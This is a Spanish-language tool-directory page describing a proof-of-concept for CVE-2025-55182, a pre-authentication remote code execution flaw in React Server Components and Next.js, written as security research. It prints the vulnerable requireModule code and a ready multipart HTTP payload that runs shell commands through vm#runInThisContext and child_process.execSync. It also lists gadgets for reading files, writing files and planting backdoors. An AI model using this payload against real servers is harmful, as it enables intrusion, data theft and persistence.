Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182-POC-SCANNER — Herramienta Unificada de Investigación de Seguridad | Kitploit
Herramientas/GitHubGitHub/im-hanzou/cve-2025-55182-poc-scanner
ReconocimientoEscáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHubim-hanzou/cve-2025-55182-poc-scanner

CVE-2025-55182-POC-SCANNER

Herramienta Unificada de Investigación de Seguridad

Ver Repositorio
22hace 10 mesesAún no revisado
Compartir

CVE-2025-55182: RCE Crítico de Pre-Autenticación en React Server Components

CVE-2025-55182 CVSS 10.0 Affected React Versions Affected Next.js Versions

Investigación de Seguridad por schema.cx
"El control es una ilusión. Son los sistemas que construimos los que nos controlan—a menos que los entendamos primero."


📋 Tabla de Contenidos

  • Descargo de Responsabilidad y Aviso Legal
  • Resumen Ejecutivo
  • Descripción Técnica
  • Sistemas Afectados
  • Prueba de Concepto
  • Evaluación de Impacto
  • Mitigación y Remediación
  • Cronología de Divulgación Responsable
  • Referencias
  • Atribución

⚠️ Descargo de Responsabilidad y Aviso Legal

ESTA HERRAMIENTA ES SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS

ALTO. LEE ESTO ANTES DE CONTINUAR.

Este repositorio contiene código de prueba de concepto para una vulnerabilidad de seguridad crítica. Al acceder, descargar o utilizar cualquier material de este repositorio, usted reconoce y acepta lo siguiente:

Requisitos Legales

  1. Autorización por Escrito Requerida: Debe tener permiso explícito y por escrito del propietario del sistema antes de realizar cualquier prueba de seguridad. Los acuerdos verbales son insuficientes.

  2. Limitaciones de Alcance: Las pruebas deben limitarse a los sistemas explícitamente enumerados en su autorización. No se permite la "expansión del alcance".

  3. Leyes Aplicables: El acceso no autorizado a sistemas informáticos viola:

    • Estados Unidos: Computer Fraud and Abuse Act (CFAA), 18 U.S.C. § 1030
    • Unión Europea: Directiva 2013/40/UE sobre ataques contra los sistemas de información
    • Reino Unido: Computer Misuse Act 1990
    • Australia: Criminal Code Act 1995, División 477-478
    • Otras jurisdicciones: Leyes similares de delitos informáticos se aplican globalmente

Descargo de Responsabilidad

LOS AUTORES Y COLABORADORES DE ESTE REPOSITORIO:

  • No aceptan NINGUNA responsabilidad por el mal uso de esta herramienta
  • No ofrecen NINGUNA garantía, expresa o implícita
  • NO son responsables de cualquier daño derivado del uso o de la imposibilidad de usar este software
  • NO respaldan actividades ilegales de ningún tipo

Pautas Éticas

  • Nunca pruebes sin permiso — incluso si "solo quieres comprobar"
  • Documenta todo — mantén registros detallados de todas las actividades de prueba
  • Minimiza el impacto — usa los métodos menos invasivos posibles
  • Informa de manera responsable — sigue las prácticas de divulgación coordinada
  • Respeta la privacidad — no exfiltres ni retengas datos confidenciales

"La pregunta no es si podemos explotar la vulnerabilidad. Es si deberíamos hacerlo, y con qué propósito."


📊 Resumen Ejecutivo

CVE-2025-55182 es una vulnerabilidad crítica de ejecución remota de código (RCE) pre-autenticación que afecta a React Server Components en aplicaciones React 19.x y Next.js 15.x-16.x.

Impacto Empresarial

Esta vulnerabilidad permite a cualquier atacante no autenticado con acceso de red a una aplicación vulnerable ejecutar comandos arbitrarios en el servidor. El ataque no requiere credenciales, ni interacción del usuario, y puede automatizarse por completo. La explotación exitosa conduce a:

  • Compromiso total del servidor — los atacantes obtienen control completo del sistema subyacente
  • Posibilidad de filtración de datos — acceso a bases de datos, variables de entorno, secretos y datos de usuario
  • Movimiento lateral — los servidores comprometidos pueden usarse para atacar redes internas
  • Riesgo de cadena de suministro — los sistemas de producción que sirven a millones de usuarios pueden verse afectados

Clasificación de Severidad

MétricaClasificación
Puntuación Base CVSS v3.110.0 CRÍTICO
Vector de AtaqueRed
Complejidad del AtaqueBaja
Privilegios RequeridosNinguno
Interacción del UsuarioNinguna
Impacto (C/I/A)Alto / Alto / Alto

"Las personas confían en los sistemas porque no los entienden. Esa confianza es una vulnerabilidad."


🔬 Descripción Técnica

Análisis de Causa Raíz

La vulnerabilidad existe en la implementación del protocolo Flight de React dentro de la función requireModule. Esta función utiliza notación de corchetes para acceder a las exportaciones del módulo basándose en entradas controladas por el usuario, sin validar que la propiedad solicitada sea una propiedad propia del módulo.

Ubicación del Código Vulnerable:

react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Function: requireModule (approximately line 2546-2558 in v19.0.0)

Patrón Vulnerable:

function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... async handling ...
  return moduleExports[metadata[2]];  // ← VULNERABLE: No hasOwnProperty check
}

Mecanismo de Explotación

El ataque aprovecha el recorrido de la cadena de prototipos de JavaScript:

  1. Punto de Entrada: El atacante envía una solicitud maliciosa de formulario multipart a un endpoint de Server Action
  2. Inyección de Payload: El campo $ACTION_0:0 contiene JSON con propiedades id (formato módulo#exportación) y bound (argumentos) controladas por el atacante
  3. Acceso al Prototipo: Al especificar exportaciones como constructor o acceder a propiedades del prototipo, los atacantes pueden referenciar módulos integrados de Node.js
  4. Gadgets de RCE: Funciones como vm.runInThisContext, child_process.execSync o fs.readFileSync se ejecutan con argumentos proporcionados por el atacante

Vector de Ataque

HTTP POST /formaction
    ↓
decodeAction(formData, serverManifest)
    ↓
loadServerReference(manifest, value.id, value.bound)
    ↓
resolveServerReference(config, id)  // Parses "module#export" format
    ↓
requireModule(metadata)
    ↓
moduleExports[metadata[2]]  // Prototype chain access → RCE

Estructura del Payload

POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--

Gadgets de RCE Disponibles

GadgetMóduloDescripciónImpacto
vm#runInThisContextvmEjecutar JS en el contexto actualRCE Directo
vm#runInNewContextvmEjecutar JS en sandbox (escapable)RCE Directo
child_process#execSyncchild_processEjecutar comandos de shellRCE Directo
child_process#spawnSyncchild_processGenerar procesosRCE Directo
fs#readFileSyncfsLeer archivos arbitrariosExfiltración de Datos
fs#writeFileSyncfsEscribir archivos arbitrariosPersistencia/Puerta Trasera
module#_loadmoduleCargar módulos JS (RCE en 2 pasos)RCE Indirecto
Descargar herramienta